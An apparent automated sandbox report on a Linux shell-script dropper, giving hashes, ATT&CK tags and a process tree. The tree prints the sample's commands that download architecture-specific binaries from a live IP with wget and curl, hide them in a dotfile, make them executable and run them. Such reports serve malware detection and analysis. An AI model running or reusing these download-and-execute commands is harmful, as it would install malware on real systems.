917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c

Analysis

max time kernel
97s
max time network
100s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/10/2026, 12:27

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General

Target
sh
Size 2KB
Sample261003-pmv5vayclf
SHA256 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c
MD5 8c34ff72c7eed017b8c25471ce5a8cad
SHA1 da559e617baef168e24e7befe99b61d889a62c5d
SHA512 2875bbe6fb5e0e83675a9ba767cfd2750600c5b4892d497c8e8a1ce74c7b44490754c3179ef3e64d5ab23523d073dd86dcd7ef62fcdb4128b6126cb2253d7ec6
TLSH
T17141E2BBB4B18E30335DC4B9B4866948B7579A6F44266E74F047743C36BC324B1743A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
866	chmod
874	chmod
882	chmod
890	chmod
898	chmod
843	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/home/.FrBnBwznsmmzZZ0jzpkmr	867	sh
/home/.FrBnBwznsmmzZZ0jzpkmr	875	sh
/home/.FrBnBwznsmmzZZ0jzpkmr	883	sh
/home/.FrBnBwznsmmzZZ0jzpkmr	891	sh
/home/.FrBnBwznsmmzZZ0jzpkmr	899	sh

Reads runtime system information 9 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	findmnt
File opened for reading	/proc/self/mountinfo	findmnt
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

/tmp/sh
/tmp/sh
1⤵
- Executes dropped EXE
PID:710
- /bin/findmnt
  findmnt -rn -O noexec -o TARGET
  2⤵
  - Reads runtime system information
  PID:715
- /usr/bin/whoami
  whoami
  2⤵
  PID:725
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev -not -path "/dev/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path / -not -path "//*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /dev/shm -not -path "/dev/shm/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /proc/sys/fs/binfmt_misc -not -path "/proc/sys/fs/binfmt_misc/*" -not -path /dev/mqueue -not -path "/dev/mqueue/*" -not -path /sys/kernel/debug -not -path "/sys/kernel/debug/*" -not -path /run/user/0 -not -path "/run/user/0/*"
  2⤵
  - Reads runtime system information
  PID:728
- /bin/uname
  uname -mp
  2⤵
  PID:747
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:751
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:752
- /usr/bin/expr
  expr 6833 "%" 32 + 4
  2⤵
  PID:753
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:757
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:756
- /usr/bin/head
  head -c 21
  2⤵
  PID:758
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:761
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:764
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:765
- /bin/rm
  rm -rf clean
  2⤵
  PID:766
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/clean
  2⤵
  PID:768
- /usr/bin/curl
  curl -skO https://217.60.102.5/clean
  2⤵
  - Reads runtime system information
  PID:812
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /bin/sh
  sh clean
  2⤵
  PID:844
- /bin/rm
  rm -rf clean
  2⤵
  PID:845
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:846
- /bin/rm
  rm -rf .FrBnBwznsmmzZZ0jzpkmr
  2⤵
  PID:847
- /bin/grep
  grep -q x86_64
  2⤵
  PID:849
- /bin/grep
  grep -q amd64
  2⤵
  PID:851
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:853
- /bin/grep
  grep -q armv8
  2⤵
  PID:855
- /bin/grep
  grep -q aarch64
  2⤵
  PID:857
- /bin/grep
  grep -q armv7
  2⤵
  PID:859
- /bin/grep
  grep -q riscv
  2⤵
  PID:861
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:862
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/x86_64
  2⤵
  PID:863
- /usr/bin/curl
  curl -skO https://217.60.102.5/x86_64
  2⤵
  - Reads runtime system information
  PID:864
- /bin/cat
  cat x86_64
  2⤵
  PID:865
- /bin/chmod
  chmod +x .FrBnBwznsmmzZZ0jzpkmr
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /home/.FrBnBwznsmmzZZ0jzpkmr
  ./.FrBnBwznsmmzZZ0jzpkmr
  2⤵
  PID:867
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:869
- /bin/rm
  rm -rf i686
  2⤵
  PID:870
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/i686
  2⤵
  PID:871
- /usr/bin/curl
  curl -skO https://217.60.102.5/i686
  2⤵
  - Reads runtime system information
  PID:872
- /bin/cat
  cat i686
  2⤵
  PID:873
- /bin/chmod
  chmod +x .FrBnBwznsmmzZZ0jzpkmr
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /home/.FrBnBwznsmmzZZ0jzpkmr
  ./.FrBnBwznsmmzZZ0jzpkmr
  2⤵
  PID:875
- /bin/rm
  rm -rf i686
  2⤵
  PID:877
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:878
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/aarch64
  2⤵
  PID:879
- /usr/bin/curl
  curl -skO https://217.60.102.5/aarch64
  2⤵
  - Reads runtime system information
  PID:880
- /bin/cat
  cat aarch64
  2⤵
  PID:881
- /bin/chmod
  chmod +x .FrBnBwznsmmzZZ0jzpkmr
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /home/.FrBnBwznsmmzZZ0jzpkmr
  ./.FrBnBwznsmmzZZ0jzpkmr
  2⤵
  PID:883
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:885
- /bin/rm
  rm -rf arm7
  2⤵
  PID:886
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/arm7
  2⤵
  PID:887
- /usr/bin/curl
  curl -skO https://217.60.102.5/arm7
  2⤵
  - Reads runtime system information
  PID:888
- /bin/cat
  cat arm7
  2⤵
  PID:889
- /bin/chmod
  chmod +x .FrBnBwznsmmzZZ0jzpkmr
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /home/.FrBnBwznsmmzZZ0jzpkmr
  ./.FrBnBwznsmmzZZ0jzpkmr
  2⤵
  PID:891
- /bin/rm
  rm -rf arm7
  2⤵
  PID:893
- /bin/rm
  rm -rf riscv
  2⤵
  PID:894
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/riscv
  2⤵
  PID:895
- /usr/bin/curl
  curl -skO https://217.60.102.5/riscv
  2⤵
  - Reads runtime system information
  PID:896
- /bin/cat
  cat riscv
  2⤵
  PID:897
- /bin/chmod
  chmod +x .FrBnBwznsmmzZZ0jzpkmr
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /home/.FrBnBwznsmmzZZ0jzpkmr
  ./.FrBnBwznsmmzZZ0jzpkmr
  2⤵
  PID:899
- /bin/rm
  rm -rf riscv
  2⤵
  PID:901

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

.testfile2

Path /home/.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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